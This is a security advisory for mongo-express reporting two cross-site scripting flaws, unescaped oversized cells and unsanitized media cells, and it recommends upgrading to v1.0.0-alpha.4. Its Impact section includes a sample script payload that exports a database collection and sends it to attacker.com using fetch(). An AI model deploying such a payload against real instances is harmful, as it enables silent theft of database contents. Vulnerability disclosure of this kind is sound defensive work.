Summary
Cross-site scripting
Details

Two kinds of XSS were found:

  1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
  2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to v1.0.0-alpha.4
